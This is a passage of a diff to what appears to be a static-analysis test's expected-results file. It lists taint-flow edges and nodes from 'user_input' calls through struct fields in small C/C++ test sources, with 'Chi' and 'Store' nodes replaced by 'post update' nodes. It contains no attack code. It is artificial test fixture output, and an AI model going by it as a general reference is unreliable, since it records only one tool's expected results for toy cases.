+| aliasing.cpp:225:21:225:22 | m1 [post update] [m1] | aliasing.cpp:225:19:225:19 | s [post update] [s, m1] | +| aliasing.cpp:226:12:226:12 | s [m1] | aliasing.cpp:227:10:227:11 | m1 [m1] | +| aliasing.cpp:226:12:226:12 | s [s, m1] | aliasing.cpp:226:12:226:12 | s [m1] | +| aliasing.cpp:227:10:227:11 | m1 [m1] | aliasing.cpp:227:10:227:11 | m1 | | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:7:8:7:13 | access to array | | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:9:8:9:11 | * ... | | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:10:8:10:15 | * ... | @@ -96,65 +141,118 @@ edges | by_reference.cpp:68:21:68:30 | call to user_input | by_reference.cpp:68:17:68:18 | nonMemberSetA output argument [a] | | by_reference.cpp:84:3:84:25 | Chi [a] | by_reference.cpp:102:21:102:39 | taint_inner_a_ptr output argument [a] | | by_reference.cpp:84:3:84:25 | Chi [a] | by_reference.cpp:106:21:106:41 | taint_inner_a_ptr output argument [a] | -| by_reference.cpp:84:14:84:23 | call to user_input | by_reference.cpp:84:3:84:25 | Chi [a] | +| by_reference.cpp:84:10:84:10 | a [post update] [a] | by_reference.cpp:84:3:84:25 | Chi [a] | +| by_reference.cpp:84:10:84:10 | a [post update] [a] | by_reference.cpp:102:21:102:39 | taint_inner_a_ptr output argument [a] | +| by_reference.cpp:84:10:84:10 | a [post update] [a] | by_reference.cpp:106:21:106:41 | taint_inner_a_ptr output argument [a] | +| by_reference.cpp:84:14:84:23 | call to user_input | by_reference.cpp:84:10:84:10 | a [post update] [a] | | by_reference.cpp:88:3:88:24 | Chi [a] | by_reference.cpp:122:21:122:38 | taint_inner_a_ref output argument [a] | | by_reference.cpp:88:3:88:24 | Chi [a] | by_reference.cpp:126:21:126:40 | taint_inner_a_ref output argument [a] | -| by_reference.cpp:88:13:88:22 | call to user_input | by_reference.cpp:88:3:88:24 | Chi [a] | +| by_reference.cpp:88:9:88:9 | a [post update] [a] | by_reference.cpp:88:3:88:24 | Chi [a] | +| by_reference.cpp:88:9:88:9 | a [post update] [a] | by_reference.cpp:122:21:122:38 | taint_inner_a_ref output argument [a] | +| by_reference.cpp:88:9:88:9 | a [post update] [a] | by_reference.cpp:126:21:126:40 | taint_inner_a_ref output argument [a] | +| by_reference.cpp:88:13:88:22 | call to user_input | by_reference.cpp:88:9:88:9 | a [post update] [a] | | by_reference.cpp:92:3:92:20 | Chi [array content] | by_reference.cpp:104:15:104:22 | taint_a_ptr output argument [array content] | | by_reference.cpp:92:3:92:20 | Chi [array content] | by_reference.cpp:108:15:108:24 | taint_a_ptr output argument [array content] | -| by_reference.cpp:92:9:92:18 | call to user_input | by_reference.cpp:92:3:92:20 | Chi [array content] | +| by_reference.cpp:92:3:92:20 | ChiTotal [post update] [array content] | by_reference.cpp:92:3:92:20 | Chi [array content] | +| by_reference.cpp:92:3:92:20 | ChiTotal [post update] [array content] | by_reference.cpp:104:15:104:22 | taint_a_ptr output argument [array content] | +| by_reference.cpp:92:3:92:20 | ChiTotal [post update] [array content] | by_reference.cpp:108:15:108:24 | taint_a_ptr output argument [array content] | +| by_reference.cpp:92:9:92:18 | call to user_input | by_reference.cpp:92:3:92:20 | ChiTotal [post update] [array content] | | by_reference.cpp:96:3:96:19 | Chi [array content] | by_reference.cpp:124:15:124:21 | taint_a_ref output argument [array content] | | by_reference.cpp:96:3:96:19 | Chi [array content] | by_reference.cpp:128:15:128:23 | taint_a_ref output argument [array content] | -| by_reference.cpp:96:8:96:17 | call to user_input | by_reference.cpp:96:3:96:19 | Chi [array content] | -| by_reference.cpp:102:21:102:39 | Chi [a] | by_reference.cpp:110:27:110:27 | a | -| by_reference.cpp:102:21:102:39 | taint_inner_a_ptr output argument [a] | by_reference.cpp:102:21:102:39 | Chi [a] | -| by_reference.cpp:104:15:104:22 | Chi | by_reference.cpp:104:15:104:22 | Chi [a] | -| by_reference.cpp:104:15:104:22 | Chi [a] | by_reference.cpp:112:14:112:14 | a | -| by_reference.cpp:104:15:104:22 | taint_a_ptr output argument [array content] | by_reference.cpp:104:15:104:22 | Chi | -| by_reference.cpp:106:21:106:41 | Chi [a] | by_reference.cpp:114:29:114:29 | a | -| by_reference.cpp:106:21:106:41 | taint_inner_a_ptr output argument [a] | by_reference.cpp:106:21:106:41 | Chi [a] | -| by_reference.cpp:108:15:108:24 | Chi | by_reference.cpp:108:15:108:24 | Chi [a] | -| by_reference.cpp:108:15:108:24 | Chi [a] | by_reference.cpp:116:16:116:16 | a | -| by_reference.cpp:108:15:108:24 | taint_a_ptr output argument [array content] | by_reference.cpp:108:15:108:24 | Chi | -| by_reference.cpp:122:21:122:38 | Chi [a] | by_reference.cpp:130:27:130:27 | a | -| by_reference.cpp:122:21:122:38 | taint_inner_a_ref output argument [a] | by_reference.cpp:122:21:122:38 | Chi [a] | -| by_reference.cpp:124:15:124:21 | Chi | by_reference.cpp:124:15:124:21 | Chi [a] | -| by_reference.cpp:124:15:124:21 | Chi [a] | by_reference.cpp:132:14:132:14 | a | -| by_reference.cpp:124:15:124:21 | taint_a_ref output argument [array content] | by_reference.cpp:124:15:124:21 | Chi | -| by_reference.cpp:126:21:126:40 | Chi [a] | by_reference.cpp:134:29:134:29 | a | -| by_reference.cpp:126:21:126:40 | taint_inner_a_ref output argument [a] | by_reference.cpp:126:21:126:40 | Chi [a] | -| by_reference.cpp:128:15:128:23 | Chi | by_reference.cpp:128:15:128:23 | Chi [a] | -| by_reference.cpp:128:15:128:23 | Chi [a] | by_reference.cpp:136:16:136:16 | a | -| by_reference.cpp:128:15:128:23 | taint_a_ref output argument [array content] | by_reference.cpp:128:15:128:23 | Chi | +| by_reference.cpp:96:3:96:19 | ChiTotal [post update] [array content] | by_reference.cpp:96:3:96:19 | Chi [array content] | +| by_reference.cpp:96:3:96:19 | ChiTotal [post update] [array content] | by_reference.cpp:124:15:124:21 | taint_a_ref output argument [array content] | +| by_reference.cpp:96:3:96:19 | ChiTotal [post update] [array content] | by_reference.cpp:128:15:128:23 | taint_a_ref output argument [array content] | +| by_reference.cpp:96:8:96:17 | call to user_input | by_reference.cpp:96:3:96:19 | ChiTotal [post update] [array content] | +| by_reference.cpp:102:21:102:39 | taint_inner_a_ptr output argument [a] | by_reference.cpp:102:28:102:39 | inner_nested [post update] [a, a] | +| by_reference.cpp:102:28:102:39 | inner_nested [post update] [a, a] | by_reference.cpp:110:14:110:25 | inner_nested [a, a] | +| by_reference.cpp:104:15:104:22 | taint_a_ptr output argument | by_reference.cpp:104:22:104:22 | a [post update] [a] | +| by_reference.cpp:104:15:104:22 | taint_a_ptr output argument [array content] | by_reference.cpp:104:15:104:22 | taint_a_ptr output argument | +| by_reference.cpp:104:22:104:22 | a [post update] [a] | by_reference.cpp:112:14:112:14 | a [a] | +| by_reference.cpp:106:21:106:41 | taint_inner_a_ptr output argument [a] | by_reference.cpp:106:30:106:41 | inner_nested [post update] [a, a] | +| by_reference.cpp:106:30:106:41 | inner_nested [post update] [a, a] | by_reference.cpp:114:16:114:27 | inner_nested [a, a] | +| by_reference.cpp:108:15:108:24 | taint_a_ptr output argument | by_reference.cpp:108:24:108:24 | a [post update] [a] | +| by_reference.cpp:108:15:108:24 | taint_a_ptr output argument [array content] | by_reference.cpp:108:15:108:24 | taint_a_ptr output argument | +| by_reference.cpp:108:24:108:24 | a [post update] [a] | by_reference.cpp:116:16:116:16 | a [a] | +| by_reference.cpp:110:14:110:25 | inner_nested [a, a] | by_reference.cpp:110:27:110:27 | a [a] | +| by_reference.cpp:110:27:110:27 | a [a] | by_reference.cpp:110:27:110:27 | a | +| by_reference.cpp:112:14:112:14 | a [a] | by_reference.cpp:112:14:112:14 | a | +| by_reference.cpp:114:16:114:27 | inner_nested [a, a] | by_reference.cpp:114:29:114:29 | a [a] | +| by_reference.cpp:114:29:114:29 | a [a] | by_reference.cpp:114:29:114:29 | a | +| by_reference.cpp:116:16:116:16 | a [a] | by_reference.cpp:116:16:116:16 | a | +| by_reference.cpp:122:21:122:38 | taint_inner_a_ref output argument [a] | by_reference.cpp:122:27:122:38 | inner_nested [post update] [a, a] | +| by_reference.cpp:122:27:122:38 | inner_nested [post update] [a, a] | by_reference.cpp:130:14:130:25 | inner_nested [a, a] | +| by_reference.cpp:124:15:124:21 | taint_a_ref output argument | by_reference.cpp:124:21:124:21 | a [post update] [a] | +| by_reference.cpp:124:15:124:21 | taint_a_ref output argument [array content] | by_reference.cpp:124:15:124:21 | taint_a_ref output argument | +| by_reference.cpp:124:21:124:21 | a [post update] [a] | by_reference.cpp:132:14:132:14 | a [a] | +| by_reference.cpp:126:21:126:40 | taint_inner_a_ref output argument [a] | by_reference.cpp:126:29:126:40 | inner_nested [post update] [a, a] | +| by_reference.cpp:126:29:126:40 | inner_nested [post update] [a, a] | by_reference.cpp:134:16:134:27 | inner_nested [a, a] | +| by_reference.cpp:128:15:128:23 | taint_a_ref output argument | by_reference.cpp:128:23:128:23 | a [post update] [a] | +| by_reference.cpp:128:15:128:23 | taint_a_ref output argument [array content] | by_reference.cpp:128:15:128:23 | taint_a_ref output argument | +| by_reference.cpp:128:23:128:23 | a [post update] [a] | by_reference.cpp:136:16:136:16 | a [a] | +| by_reference.cpp:130:14:130:25 | inner_nested [a, a] | by_reference.cpp:130:27:130:27 | a [a] | +| by_reference.cpp:130:27:130:27 | a [a] | by_reference.cpp:130:27:130:27 | a | +| by_reference.cpp:132:14:132:14 | a [a] | by_reference.cpp:132:14:132:14 | a | +| by_reference.cpp:134:16:134:27 | inner_nested [a, a] | by_reference.cpp:134:29:134:29 | a [a] | +| by_reference.cpp:134:29:134:29 | a [a] | by_reference.cpp:134:29:134:29 | a | +| by_reference.cpp:136:16:136:16 | a [a] | by_reference.cpp:136:16:136:16 | a | | complex.cpp:40:17:40:17 | *b [a_] | complex.cpp:42:18:42:18 | call to a | -| complex.cpp:40:17:40:17 | *b [b_] | complex.cpp:42:16:42:16 | Chi [b_] | | complex.cpp:40:17:40:17 | *b [b_] | complex.cpp:42:16:42:16 | a output argument [b_] | | complex.cpp:40:17:40:17 | *b [b_] | complex.cpp:43:18:43:18 | call to b | -| complex.cpp:42:16:42:16 | Chi [b_] | complex.cpp:43:18:43:18 | call to b | -| complex.cpp:42:16:42:16 | a output argument [b_] | complex.cpp:42:16:42:16 | Chi [b_] | +| complex.cpp:40:17:40:17 | *b [f, f, a_] | complex.cpp:42:10:42:14 | inner [f, f, a_] | +| complex.cpp:40:17:40:17 | *b [f, f, b_] | complex.cpp:42:10:42:14 | inner [f, f, b_] | +| complex.cpp:40:17:40:17 | *b [f, f, b_] | complex.cpp:42:16:42:16 | a output argument [f, f, b_] | +| complex.cpp:40:17:40:17 | *b [f, f, b_] | complex.cpp:43:10:43:14 | inner [f, f, b_] | +| complex.cpp:40:17:40:17 | *b [f, f, f, f, a_] | complex.cpp:42:10:42:14 | inner [f, f, f, f, a_] | +| complex.cpp:42:10:42:14 | inner [f, f, a_] | complex.cpp:42:16:42:16 | f [f, a_] | +| complex.cpp:42:10:42:14 | inner [f, f, b_] | complex.cpp:42:16:42:16 | f [f, b_] | +| complex.cpp:42:10:42:14 | inner [f, f, f, f, a_] | complex.cpp:42:16:42:16 | f [f, f, f, a_] | +| complex.cpp:42:10:42:14 | inner [post update] [f, f, b_] | complex.cpp:43:10:43:14 | inner [f, f, b_] | +| complex.cpp:42:10:42:14 | inner [post update] [f, f, f, f, b_] | complex.cpp:43:10:43:14 | inner [f, f, f, f, b_] | +| complex.cpp:42:16:42:16 | a output argument [b_] | complex.cpp:42:16:42:16 | f [post update] [f, b_] | | complex.cpp:42:16:42:16 | a output argument [b_] | complex.cpp:43:18:43:18 | call to b | -| complex.cpp:53:12:53:12 | Chi [a_] | complex.cpp:40:17:40:17 | *b [a_] | +| complex.cpp:42:16:42:16 | a output argument [f, f, b_] | complex.cpp:42:16:42:16 | f [post update] [f, f, f, b_] | +| complex.cpp:42:16:42:16 | a output argument [f, f, b_] | complex.cpp:43:10:43:14 | inner [f, f, b_] | +| complex.cpp:42:16:42:16 | f [f, a_] | complex.cpp:42:18:42:18 | call to a | +| complex.cpp:42:16:42:16 | f [f, b_] | complex.cpp:42:16:42:16 | a output argument [b_] | +| complex.cpp:42:16:42:16 | f [f, f, f, a_] | complex.cpp:42:10:42:14 | inner [f, f, a_] | +| complex.cpp:42:16:42:16 | f [post update] [f, b_] | complex.cpp:42:10:42:14 | inner [post update] [f, f, b_] | +| complex.cpp:42:16:42:16 | f [post update] [f, f, f, b_] | complex.cpp:42:10:42:14 | inner [post update] [f, f, f, f, b_] | +| complex.cpp:43:10:43:14 | inner [f, f, b_] | complex.cpp:43:16:43:16 | f [f, b_] | +| complex.cpp:43:10:43:14 | inner [f, f, f, f, b_] | complex.cpp:43:16:43:16 | f [f, f, f, b_] | +| complex.cpp:43:16:43:16 | f [f, b_] | complex.cpp:43:18:43:18 | call to b | +| complex.cpp:43:16:43:16 | f [f, f, f, b_] | complex.cpp:43:10:43:14 | inner [f, f, b_] | +| complex.cpp:53:6:53:10 | inner [post update] [f, f, a_] | complex.cpp:40:17:40:17 | *b [f, f, a_] | +| complex.cpp:53:12:53:12 | f [post update] [f, a_] | complex.cpp:53:6:53:10 | inner [post update] [f, f, a_] | | complex.cpp:53:12:53:12 | setA output argument [a_] | complex.cpp:40:17:40:17 | *b [a_] | -| complex.cpp:53:12:53:12 | setA output argument [a_] | complex.cpp:53:12:53:12 | Chi [a_] | +| complex.cpp:53:12:53:12 | setA output argument [a_] | complex.cpp:53:12:53:12 | f [post update] [f, a_] | | complex.cpp:53:19:53:28 | call to user_input | complex.cpp:53:12:53:12 | setA output argument [a_] | -| complex.cpp:54:12:54:12 | Chi [b_] | complex.cpp:40:17:40:17 | *b [b_] | +| complex.cpp:54:6:54:10 | inner [post update] [f, f, b_] | complex.cpp:40:17:40:17 | *b [f, f, b_] | +| complex.cpp:54:12:54:12 | f [post update] [f, b_] | complex.cpp:54:6:54:10 | inner [post update] [f, f, b_] | | complex.cpp:54:12:54:12 | setB output argument [b_] | complex.cpp:40:17:40:17 | *b [b_] | -| complex.cpp:54:12:54:12 | setB output argument [b_] | complex.cpp:54:12:54:12 | Chi [b_] | +| complex.cpp:54:12:54:12 | setB output argument [b_] | complex.cpp:54:12:54:12 | f [post update] [f, b_] | | complex.cpp:54:19:54:28 | call to user_input | complex.cpp:54:12:54:12 | setB output argument [b_] | -| complex.cpp:55:12:55:12 | Chi [a_] | complex.cpp:40:17:40:17 | *b [a_] | -| complex.cpp:55:12:55:12 | Chi [a_] | complex.cpp:56:12:56:12 | Chi [a_] | -| complex.cpp:55:12:55:12 | Chi [a_] | complex.cpp:56:12:56:12 | setB output argument [a_] | +| complex.cpp:55:6:55:10 | inner [post update] [f, f, a_] | complex.cpp:40:17:40:17 | *b [f, f, a_] | +| complex.cpp:55:6:55:10 | inner [post update] [f, f, a_] | complex.cpp:56:6:56:10 | inner [f, f, a_] | +| complex.cpp:55:6:55:10 | inner [post update] [f, f, a_] | complex.cpp:56:12:56:12 | setB output argument [f, f, a_] | +| complex.cpp:55:12:55:12 | f [post update] [f, a_] | complex.cpp:55:6:55:10 | inner [post update] [f, f, a_] | | complex.cpp:55:12:55:12 | setA output argument [a_] | complex.cpp:40:17:40:17 | *b [a_] | -| complex.cpp:55:12:55:12 | setA output argument [a_] | complex.cpp:55:12:55:12 | Chi [a_] | -| complex.cpp:55:12:55:12 | setA output argument [a_] | complex.cpp:56:12:56:12 | Chi [a_] | +| complex.cpp:55:12:55:12 | setA output argument [a_] | complex.cpp:55:12:55:12 | f [post update] [f, a_] | | complex.cpp:55:12:55:12 | setA output argument [a_] | complex.cpp:56:12:56:12 | setB output argument [a_] | | complex.cpp:55:19:55:28 | call to user_input | complex.cpp:55:12:55:12 | setA output argument [a_] | -| complex.cpp:56:12:56:12 | Chi [a_] | complex.cpp:40:17:40:17 | *b [a_] | -| complex.cpp:56:12:56:12 | Chi [b_] | complex.cpp:40:17:40:17 | *b [b_] | +| complex.cpp:56:6:56:10 | inner [f, f, a_] | complex.cpp:56:12:56:12 | f [f, a_] | +| complex.cpp:56:6:56:10 | inner [post update] [f, f, a_] | complex.cpp:40:17:40:17 | *b [f, f, a_] | +| complex.cpp:56:6:56:10 | inner [post update] [f, f, b_] | complex.cpp:40:17:40:17 | *b [f, f, b_] | +| complex.cpp:56:6:56:10 | inner [post update] [f, f, f, f, a_] | complex.cpp:40:17:40:17 | *b [f, f, f, f, a_] | +| complex.cpp:56:12:56:12 | f [f, a_] | complex.cpp:56:12:56:12 | setB output argument [a_] | +| complex.cpp:56:12:56:12 | f [post update] [f, a_] | complex.cpp:56:6:56:10 | inner [post update] [f, f, a_] | +| complex.cpp:56:12:56:12 | f [post update] [f, b_] | complex.cpp:56:6:56:10 | inner [post update] [f, f, b_] | +| complex.cpp:56:12:56:12 | f [post update] [f, f, f, a_] | complex.cpp:56:6:56:10 | inner [post update] [f, f, f, f, a_] | | complex.cpp:56:12:56:12 | setB output argument [a_] | complex.cpp:40:17:40:17 | *b [a_] | -| complex.cpp:56:12:56:12 | setB output argument [a_] | complex.cpp:56:12:56:12 | Chi [a_] | +| complex.cpp:56:12:56:12 | setB output argument [a_] | complex.cpp:56:12:56:12 | f [post update] [f, a_] | | complex.cpp:56:12:56:12 | setB output argument [b_] | complex.cpp:40:17:40:17 | *b [b_] | -| complex.cpp:56:12:56:12 | setB output argument [b_] | complex.cpp:56:12:56:12 | Chi [b_] | +| complex.cpp:56:12:56:12 | setB output argument [b_] | complex.cpp:56:12:56:12 | f [post update] [f, b_] | +| complex.cpp:56:12:56:12 | setB output argument [f, f, a_] | complex.cpp:40:17:40:17 | *b [f, f, a_] | +| complex.cpp:56:12:56:12 | setB output argument [f, f, a_] | complex.cpp:56:12:56:12 | f [post update] [f, f, f, a_] | | complex.cpp:56:19:56:28 | call to user_input | complex.cpp:56:12:56:12 | setB output argument [b_] | | constructors.cpp:26:15:26:15 | *f [a_] | constructors.cpp:28:12:28:12 | call to a | | constructors.cpp:26:15:26:15 | *f [b_] | constructors.cpp:28:10:28:10 | a output argument [b_] | @@ -182,21 +280,25 @@ edges | simple.cpp:42:5:42:5 | setB output argument [a_] | simple.cpp:26:15:26:15 | *f [a_] | | simple.cpp:42:5:42:5 | setB output argument [b_] | simple.cpp:26:15:26:15 | *f [b_] | | simple.cpp:42:12:42:21 | call to user_input | simple.cpp:42:5:42:5 | setB output argument [b_] | -| simple.cpp:65:5:65:22 | Store [i] | simple.cpp:66:12:66:12 | Store [i] | -| simple.cpp:65:11:65:20 | call to user_input | simple.cpp:65:5:65:22 | Store [i] | -| simple.cpp:66:12:66:12 | Store [i] | simple.cpp:67:13:67:13 | i | -| simple.cpp:83:9:83:28 | Chi [f1] | simple.cpp:84:14:84:20 | call to getf2f1 | -| simple.cpp:83:17:83:26 | call to user_input | simple.cpp:83:9:83:28 | Chi [f1] | -| simple.cpp:92:5:92:22 | Store [i] | simple.cpp:93:20:93:20 | Store [i] | -| simple.cpp:92:11:92:20 | call to user_input | simple.cpp:92:5:92:22 | Store [i] | -| simple.cpp:93:20:93:20 | Store [i] | simple.cpp:94:13:94:13 | i | -| struct_init.c:14:24:14:25 | *ab [a] | struct_init.c:15:12:15:12 | a | -| struct_init.c:20:20:20:29 | Chi [a] | struct_init.c:14:24:14:25 | *ab [a] | -| struct_init.c:20:20:20:29 | call to user_input | struct_init.c:20:20:20:29 | Chi [a] | +| simple.cpp:65:7:65:7 | i [post update] [i] | simple.cpp:67:13:67:13 | i [i] | +| simple.cpp:65:11:65:20 | call to user_input | simple.cpp:65:7:65:7 | i [post update] [i] | +| simple.cpp:67:13:67:13 | i [i] | simple.cpp:67:13:67:13 | i | +| simple.cpp:83:9:83:10 | f2 [post update] [f1, f1] | simple.cpp:84:14:84:20 | call to getf2f1 | +| simple.cpp:83:12:83:13 | f1 [post update] [f1] | simple.cpp:83:9:83:10 | f2 [post update] [f1, f1] | +| simple.cpp:83:17:83:26 | call to user_input | simple.cpp:83:12:83:13 | f1 [post update] [f1] | +| simple.cpp:92:7:92:7 | i [post update] [i] | simple.cpp:94:13:94:13 | i [i] | +| simple.cpp:92:11:92:20 | call to user_input | simple.cpp:92:7:92:7 | i [post update] [i] | +| simple.cpp:94:13:94:13 | i [i] | simple.cpp:94:13:94:13 | i | +| struct_init.c:14:24:14:25 | *ab [a] | struct_init.c:15:12:15:12 | a [a] | +| struct_init.c:15:12:15:12 | a [a] | struct_init.c:15:12:15:12 | a | +| struct_init.c:20:17:20:36 | a [post update] [a] | struct_init.c:14:24:14:25 | *ab [a] | +| struct_init.c:20:20:20:29 | call to user_input | struct_init.c:20:17:20:36 | a [post update] [a] | | struct_init.c:20:20:20:29 | call to user_input | struct_init.c:22:11:22:11 | a | -| struct_init.c:27:7:27:16 | Chi [a] | struct_init.c:14:24:14:25 | *ab [a] | -| struct_init.c:27:7:27:16 | call to user_input | struct_init.c:27:7:27:16 | Chi [a] | +| struct_init.c:26:23:29:3 | nestedAB [post update] [nestedAB, a] | struct_init.c:36:17:36:24 | nestedAB [nestedAB, a] | +| struct_init.c:27:5:27:23 | a [post update] [a] | struct_init.c:26:23:29:3 | nestedAB [post update] [nestedAB, a] | +| struct_init.c:27:7:27:16 | call to user_input | struct_init.c:27:5:27:23 | a [post update] [a] | | struct_init.c:27:7:27:16 | call to user_input | struct_init.c:31:23:31:23 | a | +| struct_init.c:36:17:36:24 | nestedAB [nestedAB, a] | struct_init.c:14:24:14:25 | *ab [a] | nodes | A.cpp:55:5:55:5 | set output argument [c] | semmle.label | set output argument [c] | | A.cpp:55:12:55:19 | (C *)... | semmle.label | (C *)... | @@ -206,66 +308,75 @@ nodes | A.cpp:57:17:57:23 | new | semmle.label | new | | A.cpp:57:28:57:30 | call to get | semmle.label | call to get | | A.cpp:98:12:98:18 | new | semmle.label | new | -| A.cpp:100:5:100:13 | Chi [a] | semmle.label | Chi [a] | +| A.cpp:100:9:100:9 | a [post update] [a] | semmle.label | a [post update] [a] | | A.cpp:103:14:103:14 | *c [a] | semmle.label | *c [a] | | A.cpp:107:16:107:16 | a | semmle.label | a | +| A.cpp:107:16:107:16 | a [a] | semmle.label | a [a] | | A.cpp:126:5:126:5 | Chi [c] | semmle.label | Chi [c] | | A.cpp:126:5:126:5 | set output argument [c] | semmle.label | set output argument [c] | | A.cpp:126:12:126:18 | new | semmle.label | new | -| A.cpp:131:8:131:8 | Chi [c] | semmle.label | Chi [c] | | A.cpp:131:8:131:8 | f7 output argument [c] | semmle.label | f7 output argument [c] | | A.cpp:132:13:132:13 | c | semmle.label | c | +| A.cpp:132:13:132:13 | c [c] | semmle.label | c [c] | | A.cpp:142:7:142:20 | Chi [c] | semmle.label | Chi [c] | +| A.cpp:142:10:142:10 | c [post update] [c] | semmle.label | c [post update] [c] | | A.cpp:142:14:142:20 | new | semmle.label | new | | A.cpp:143:7:143:31 | Chi [b] | semmle.label | Chi [b] | +| A.cpp:143:13:143:13 | b [post update] [b] | semmle.label | b [post update] [b] | | A.cpp:143:25:143:31 | new | semmle.label | new | | A.cpp:150:12:150:18 | new | semmle.label | new | -| A.cpp:151:12:151:24 | Chi [b] | semmle.label | Chi [b] | | A.cpp:151:12:151:24 | D output argument [b] | semmle.label | D output argument [b] | -| A.cpp:151:18:151:18 | Chi [c] | semmle.label | Chi [c] | | A.cpp:151:18:151:18 | D output argument [c] | semmle.label | D output argument [c] | | A.cpp:152:13:152:13 | b | semmle.label | b | +| A.cpp:152:13:152:13 | b [b] | semmle.label | b [b] | | A.cpp:154:13:154:13 | c | semmle.label | c | +| A.cpp:154:13:154:13 | c [c] | semmle.label | c [c] | | C.cpp:18:12:18:18 | C output argument [s1] | semmle.label | C output argument [s1] | | C.cpp:18:12:18:18 | C output argument [s3] | semmle.label | C output argument [s3] | -| C.cpp:22:12:22:21 | Chi [s1] | semmle.label | Chi [s1] | +| C.cpp:22:9:22:22 | s1 [post update] [s1] | semmle.label | s1 [post update] [s1] | | C.cpp:22:12:22:21 | new | semmle.label | new | | C.cpp:24:5:24:25 | Chi [s1] | semmle.label | Chi [s1] | | C.cpp:24:5:24:25 | Chi [s3] | semmle.label | Chi [s3] | +| C.cpp:24:11:24:12 | s3 [post update] [s3] | semmle.label | s3 [post update] [s3] | | C.cpp:24:16:24:25 | new | semmle.label | new | | C.cpp:27:8:27:11 | *#this [s1] | semmle.label | *#this [s1] | | C.cpp:27:8:27:11 | *#this [s3] | semmle.label | *#this [s3] | | C.cpp:29:10:29:11 | s1 | semmle.label | s1 | +| C.cpp:29:10:29:11 | s1 [s1] | semmle.label | s1 [s1] | | C.cpp:31:10:31:11 | s3 | semmle.label | s3 | +| C.cpp:31:10:31:11 | s3 [s3] | semmle.label | s3 [s3] | | aliasing.cpp:9:3:9:22 | Chi [m1] | semmle.label | Chi [m1] | +| aliasing.cpp:9:6:9:7 | m1 [post update] [m1] | semmle.label | m1 [post update] [m1] | | aliasing.cpp:9:11:9:20 | call to user_input | semmle.label | call to user_input | | aliasing.cpp:13:3:13:21 | Chi [m1] | semmle.label | Chi [m1] | +| aliasing.cpp:13:5:13:6 | m1 [post update] [m1] | semmle.label | m1 [post update] [m1] | | aliasing.cpp:13:10:13:19 | call to user_input | semmle.label | call to user_input | -| aliasing.cpp:25:17:25:19 | Chi [m1] | semmle.label | Chi [m1] | | aliasing.cpp:25:17:25:19 | pointerSetter output argument [m1] | semmle.label | pointerSetter output argument [m1] | -| aliasing.cpp:26:19:26:20 | Chi [m1] | semmle.label | Chi [m1] | | aliasing.cpp:26:19:26:20 | referenceSetter output argument [m1] | semmle.label | referenceSetter output argument [m1] | | aliasing.cpp:29:11:29:12 | m1 | semmle.label | m1 | +| aliasing.cpp:29:11:29:12 | m1 [m1] | semmle.label | m1 [m1] | | aliasing.cpp:30:11:30:12 | m1 | semmle.label | m1 | +| aliasing.cpp:30:11:30:12 | m1 [m1] | semmle.label | m1 [m1] | | aliasing.cpp:37:13:37:22 | call to user_input | semmle.label | call to user_input | | aliasing.cpp:38:11:38:12 | m1 | semmle.label | m1 | | aliasing.cpp:42:11:42:20 | call to user_input | semmle.label | call to user_input | | aliasing.cpp:43:13:43:14 | m1 | semmle.label | m1 | -| aliasing.cpp:60:3:60:22 | Chi [m1] | semmle.label | Chi [m1] | +| aliasing.cpp:60:6:60:7 | m1 [post update] [m1] | semmle.label | m1 [post update] [m1] | | aliasing.cpp:60:11:60:20 | call to user_input | semmle.label | call to user_input | -| aliasing.cpp:61:13:61:14 | Store [m1] | semmle.label | Store [m1] | | aliasing.cpp:62:14:62:15 | m1 | semmle.label | m1 | +| aliasing.cpp:62:14:62:15 | m1 [m1] | semmle.label | m1 [m1] | | aliasing.cpp:79:11:79:20 | call to user_input | semmle.label | call to user_input | | aliasing.cpp:80:12:80:13 | m1 | semmle.label | m1 | | aliasing.cpp:86:10:86:19 | call to user_input | semmle.label | call to user_input | | aliasing.cpp:87:12:87:13 | m1 | semmle.label | m1 | | aliasing.cpp:92:12:92:21 | call to user_input | semmle.label | call to user_input | | aliasing.cpp:93:12:93:13 | m1 | semmle.label | m1 | -| aliasing.cpp:98:3:98:21 | Chi [m1] | semmle.label | Chi [m1] | +| aliasing.cpp:98:5:98:6 | m1 [post update] [m1] | semmle.label | m1 [post update] [m1] | | aliasing.cpp:98:10:98:19 | call to user_input | semmle.label | call to user_input | | aliasing.cpp:100:14:100:14 | Store [m1] | semmle.label | Store [m1] | | aliasing.cpp:102:8:102:10 | * ... | semmle.label | * ... | | aliasing.cpp:106:3:106:20 | Chi [array content] | semmle.label | Chi [array content] | +| aliasing.cpp:106:3:106:20 | ChiTotal [post update] [array content] | semmle.label | ChiTotal [post update] [array content] | | aliasing.cpp:106:9:106:18 | call to user_input | semmle.label | call to user_input | | aliasing.cpp:121:15:121:16 | Chi [array content] | semmle.label | Chi [array content] | | aliasing.cpp:121:15:121:16 | taint_a_ptr output argument [array content] | semmle.label | taint_a_ptr output argument [array content] | @@ -285,19 +396,42 @@ nodes | aliasing.cpp:164:15:164:20 | Chi [array content] | semmle.label | Chi [array content] | | aliasing.cpp:164:15:164:20 | taint_a_ptr output argument [array content] | semmle.label | taint_a_ptr output argument [array content] | | aliasing.cpp:165:8:165:16 | access to array | semmle.label | access to array | -| aliasing.cpp:175:15:175:22 | Chi | semmle.label | Chi | -| aliasing.cpp:175:15:175:22 | Chi [m1] | semmle.label | Chi [m1] | +| aliasing.cpp:175:15:175:22 | taint_a_ptr output argument | semmle.label | taint_a_ptr output argument | | aliasing.cpp:175:15:175:22 | taint_a_ptr output argument [array content] | semmle.label | taint_a_ptr output argument [array content] | +| aliasing.cpp:175:19:175:19 | s [post update] [s, m1] | semmle.label | s [post update] [s, m1] | +| aliasing.cpp:175:21:175:22 | m1 [post update] [m1] | semmle.label | m1 [post update] [m1] | +| aliasing.cpp:176:11:176:11 | s [s, m1] | semmle.label | s [s, m1] | | aliasing.cpp:176:13:176:14 | m1 | semmle.label | m1 | -| aliasing.cpp:187:15:187:22 | Chi | semmle.label | Chi | -| aliasing.cpp:187:15:187:22 | Chi [m1] | semmle.label | Chi [m1] | +| aliasing.cpp:176:13:176:14 | m1 [m1] | semmle.label | m1 [m1] | +| aliasing.cpp:187:15:187:22 | taint_a_ptr output argument | semmle.label | taint_a_ptr output argument | | aliasing.cpp:187:15:187:22 | taint_a_ptr output argument [array content] | semmle.label | taint_a_ptr output argument [array content] | -| aliasing.cpp:188:13:188:14 | Store [m1] | semmle.label | Store [m1] | +| aliasing.cpp:187:19:187:19 | s [post update] [s, m1] | semmle.label | s [post update] [s, m1] | +| 